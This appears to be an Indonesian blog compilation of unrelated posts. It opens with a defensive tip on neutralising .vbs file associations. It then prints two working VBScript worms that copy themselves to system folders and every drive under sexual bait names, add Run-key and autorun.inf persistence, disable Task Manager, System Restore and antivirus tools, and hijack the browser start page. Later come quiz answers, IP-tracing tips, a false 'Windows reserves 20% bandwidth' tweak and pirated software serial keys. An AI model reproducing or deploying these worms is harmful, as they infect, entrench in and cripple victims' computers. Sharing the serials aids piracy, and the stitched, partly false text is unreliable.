Virus VBS atau yang lebih dikenal dengan “visual basic script” ini udah tidak asing lagi karna dapat ditulis dengan program yang sangat sederhana seperti menggunakan “notepad”, namun akibat yang dihasilkan virus ini “lumayan luaRrrRr biasa”, jadi kita harus mencegah Virus vbs agar tidak berkembang di computer kita, cara ini untuk mencegahnya aja.

Nah tenang aja ada triknya kok yang dapat mencegah virus.vbs ini tidak berkembang biak dikomputer kita, perhatikan langkah dibawah ini:

1. Buka My Computer - Tools - Folder options
2. Lalu Klik File Types, scroll kebawah, cari Extensi “VBS“
3. Ubah default program yang digunakan untuk membuka file .vbs dengan mengklik tombol “change“
4. Kita akan melihat bahwa program yg direkomendasikan untuk membuka file .vbs adalah “Microsoft (r) Windows Based Script Host”, ubah hal tersebut, scroll sedikit ke bawah, cari “notepad” dan klik OK

Dengan mengubah settingan diatas, setiap kali kita mengklik/membuka file berextensi .vbs, script virus yang ditulis didalam file .vbs tidak akan langsung dijalankan, melainkan akan ditampilkan oleh notepad, sebelumnya kita bisa menganalisa apa fungsi dari source code dari file .vbs tersebut apakah ini virus atau tidak, Dan tentunya file tersebut tidak akan menginfeksi komputer kita………

Ada lagi Loh cara yang lebih Extreme adalah dengan menghapus Asosiasi file.vbs, caranya sama seperti diatas, hanya saja saat kita menemukan asosiasi file .vbs bukan kita ubah asosiasinya dengan mengklik tombol change, tetapi dengan mengklik tombol “delete”, dengan begitu setiap kali kita mengklik file .vbs, akan muncul kotak “open with” untuk memilih program yang akan dipakai untuk membuka file .vbs tersebut tapi anda bisa mimilih notepad untuk melihat/ mengubah source code dari vbs tersebut…
*CATATAN*

Untuk cara yang Extreme itu sangat fatal karana dengan kita mendelete asosiasinya, kita tidak bisa menjalankan file yang berextensi vbs pada komputer kita karna untuk menjalankan vbs tersebut kita membutuhkan asosiasi VBS, waktu itu saya pernah mencoba cara extreme tersebut tapi pas saya ingin menjalankan file .vbs tidak mau jalan (hikshiks sedihnya) lalu saya mencoba mengembalikan file asosiasi “VBS” tersebut biar file yang berextensi vbs bisa kita jalankan kembli tanpa perlu menggunakan “Notepad” lagi , maksudnya normal lagi gitu sebelum menggunakan trik diatas, tapi tenang aja saya udah memcobanya untuk mengembalikan asosiasi VBS secara Default lagi, ini langkahnya:

1. Buka My Computer - Tools - Folder options
2. Klik New setelah itu isi file extension dengan nama “VBS”
3. Klik Advanced-untuk asosiasi type file kita pilih “VBSript” Script File - klik OK
4. Maka kita telah selesai membuat asosiasi VBS seperti semula (default)
5. Kita ganti dulu untuk membukanya klik change – pilih “Microsoft (r) Windows Based Script Host” – klik OK – Close.

Semoga Artikel ini bermafaat

Private Sub Main()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)

App.TaskVisible = False
App.Title = "WINLOGIN"

FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\CML.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\mandala.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\user.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\mercury.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\NOTEPED.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\REGEDUT.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", FolderSYSTEM & "\USERINOT.vbs"
SD
IE
Buat
End Sub

Sub SD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte


For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"

On Error Resume Next
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewi persik esek esek.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewi portuna lagi mandi.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Dewa dewi cari cinta.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "buka aku tanggung sendiri.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "Sex masal artis indonesia.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "BCL diperkosa.vbs"
FileCopy App.Path & "\" & App.vbsName & ".vbs", sDrive & "JuPe bugil + esek esek.vbs"


Next

End Sub

Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected by TLABS VBS Virus Generator"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Salam kenal buat para virus maker indonesia"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\CML.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\mandala.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\user.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\mercury.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\REGEDUT.vbs"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\USERINOT.vbs"
Paray.RegWrite “HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr”, “1, “REG_DWORD”
Paray.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\StartPage", "c:\windows\system32\Myheart.txt"
End Sub

Sub Buat()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("c:\windows\system32\Myheart.txt")
fileADSW.WriteLine ("Dear: Mandala Putra Dwi Admaja")
fileADSW.WriteLine ("Kau tak tahu perasaanku sesungguhnya, ya kan....")
fileADSW.WriteLine ("Seberapa besar cintaku padamu ... sampai ga bisa masuk ke hatiku yang kecil ini lho...")
fileADSW.WriteLine ("Seberapa dalam hatiku, aku aja ga tau....")
fileADSW.WriteLine ("Tetaplah kau seperti itu")
fileADSW.WriteLine ("Tetaplah kau senyum padaku, SEMANGAT ^_^")
fileADSW.WriteLine ("Setiap senyum berarti IBADAH pagiMU")
fileADSW.WriteLine ("Membuat diriku slalu mencintaimu selamanya")
fileADSW.WriteLine ("Setiap saat"setiap waktu)
fileADSW.WriteLine ("Senyummu membayangi dalam tidurku")
fileADSW.WriteLine ("Andai ku bisa memilikimu")
fileADSW.WriteLine ("from: MERCURY")
End Sub

On error resume next

Dim dini,jatiya,i,loph,you,mf,isi,tf,vhck3d,nt,check,sd



'Siapkan isi autorun atau bahasa kerennya make the autorun

Isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe vhck3d.vbs"

Set you = createobject("scripting.filesystemobject")

Set mf = you.getfile(wscript.scriptfullname)

Dim text,size

Size = mf.size

Check = mf.drive.drivetype

Set text = mf.openastextstream(1,-2)

Do while not text.atendofstream

Dini = dini & text.readline

Dini = dini & vbcrlf

Loop

Do



'Buat file induk bahasa coolnya prepare the mother

Set i = you.getspecialfolder(0)

Set jatiya = you.getspecialfolder(1)

Set tf = you.getfile(jatiya & "\hck3d.vbs")

Tf.attributes = 32

Set tf = you.createtextfile(jatiya & "\hck3d.vbs",2,true)

Tf.write dini

Tf.close

Set tf = you.getfile(jatiya & "\hck3d.vbs")

Tf.attributes = 39



'Sebar ke removable disc ditambahkan dengan autorun.inf ini saya mah gak tau bahasa inggrisnya

For each loph in you.drives



If (loph.drivetype = 1 or loph.drivetype = 2) and loph.path <> "a:" then



Set tf=you.getfile(loph.path &"\vhck3d.sys.vbs")

Tf.attributes =32

Set tf=you.createtextfile(loph.path &"\vhck3d.vbs",2,true)

Tf.write dini

Tf.close

Set tf=you.getfile(loph.path &"\vhck3d.vbs")

Tf.attributes = 39



Set tf =you.getfile(loph.path &"\autorun.inf")

Tf.attributes = 32

Set tf=you.createtextfile(loph.path &"\autorun.inf",2,true)

Tf.write isi

Tf.close

Set tf = you.getfile(loph.path &"\autorun.inf")

Tf.attributes=39

End if

Next



'Manipulasi registry

Set vhck3d = createobject("wscript.shell")



'Banyak yang dirubah..liat ndiri deh aaah



Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\msconfig.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\regedit.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\regedt32.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\registryeditor.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\setup.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\avscan.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\avcenter.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\ashavast.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\ansav.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\viremoval.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\viremover.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options\pcmav-cln.exe.exe\debugger",""

Vhck3d.regwrite "hkey_local_machine\software\microsoft\windows\currentversion\winlogon\legalnoticecaption", "my loph dini"

Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows\installer\limitsystemrestorecheckpointing", "1", "reg_dword"

Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows\installer\disablemsi", "1", "reg_dword"

Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows nt\systemrestore\disablesr", "1", "reg_dword"

Vhck3d.regwrite "hkey_local_machine\software\policies\microsoft\windows nt\systemrestore\disableconfig", "1", "reg_dword"



If check <> 1 then

Wscript.sleep 200000

End if

Loop while check <> 1

Set sd = createobject("wscript.shell")

Sd.run i & "\explorer.exe /e,/select, " & wscript.scriptfullname

1. Multimedia DBMS adalah sistem basisdata dimana teks dan informasi lainnya seperti data diskrit (contoh: image), suara (audio), dan video juga akan disimpan dalam sebuah database, dimana berisi perintah-perintah berupa query untuk menampilkan database yang dibutuhkan atau diperlukan.
2. Tipe data Citra, audio dan video.
3. Data citra disimpan dalam format JPEG (Joint Picture Experts Group) : mempunyai kelebihan gambar resolusi yang lebih baik,kekurangannya : kapasitas yang besar di bandingkan dengan tipe .gif.
Data audio & video dalamformat MPEG (Moving Picture Experts Group), kelebihan : mempunyai kapasitas data yang lebih kecil.kekurangan : resolusi gambar yang kurang baik.
4. Metode pencarian image menggunakan algoritma wavelet : Metode ini juga dapat dikembangkan untuk melakukan retrieval data yang berisi suara, citra, maupun video.
5. Teknik Retrieval (pengambilan kembali) dalam basis data, modifikasi yang dilakukan pada sistem informasi berbasis multimedia adalah dengan menerapkan teknologi multimedia pada blok masukan, blok basis data dan blok keluaran
posttest : acacb

Saya akan memberitahu kepada teman-teman bagaimana melacak IP Addres seseorang :

1. Melacak alamat IP suatu situs. Untuk mengetahui alamat IP suatu situs, kita dapat melakukan PING terhadap situs tersebut.
Caranya: Masuk ke Command Prompt dan ketikan PING www.facebook.com lalu tekan enter. Maka akan muncul alamat IP situs tersebut.
2. Melacak Lokasi server (real address) suatu situs Kita dapat melacak lokasi server suatu situs hanya dengan mengetahui alamat situsnya saja. Coba anda buka www.domainwhitepages.com, Tinggal masukkan IP address situs tadi atau masukkan alamat situsnya dan anda akan mendapatkan info lengkap tentang server dari situs tersebut diantaranya adalah lokasi negara dan kota.
3. Melacak IP address lawan chatting kita Saat kita menggunakan Yahoo messenger, sebenarnya kita bisa mengetahui alamat IP dari lawan chatting kita.

Caranya:

* Kirimkan suatu file pada lawan chat kita.

* Lalu masuklah ke Command Prompt (MSDOS) dan ketikkan NETSTAT -N lalu tekan enter, maka alamat IP lawan chatting anda (yang telah anda kirimi file tadi) akan muncul beserta port yang digunakan untuk pengiriman file.

* Untuk mengetahui lokasi lawan chatting anda (real address) seperti ia berada di kantor / kampus atau di warnet mana, tinggal anda chek di www.domainwhitepages.com dengan mempergunakan alamat IP yang anda dapatkan.

Pada dasarnya OS windows sudah membatasi bandwidth untuk koneksi internet sebanyak 20% dari total bandwidth yang seharusnya bisa maksimal. Jika anda ingin menambah bandwidth internet supaya koneksinya terasa lebih cepat dan kencang bisa dengan cara mengurangi atau mengosongkan batasan bandwidth tersebut supaya pada Windows kita bisa maksimal dalam menggunakan bandwidth yang sudah ada.

Ikuti petunjuknya seperti dibawah ini :

1. Klik Start
2. Klik Run
3. Ketik gpedit.msc
4. kemudian klik Ok
5. Setelah masuk klik Administrative Templates
6. kemudian Klik Network
7. setelah terbuka klik QoS Packet scheduler
8. kemudian klik Limit Reservable Bandwidth
9. Dan setelah terbuka ubah setting menjadi Enable
10. Kemudian ubah Bandwidth Limitnya menjadi 0
11. Klik Apply, ok
12. Kemudian keluar dan Restart komputer

Capek pake yg versi trial..??? Coba deh serial number ini buat IDM trial loe...

Internet Download Manager 5.14
S/N: ZFX1T-5VOMY-ZIT4Y-FHFPD

Internet Download Manager 5.14.1.0
S/N: Y30OZ-DNQH7-FRWPW-YYZMA

Internet Download Manager 5.15.6
S/N: Y5LUM-NFE0Q-GJR2L-5B86I
S/N: 4BTJF-DYNIL-LD8CN-MM8X5
S/N: XAGZU-SJ0FO-BDLTK-B3C3V

Selamat mencoba and Goodbye TRIAL Version.....!!!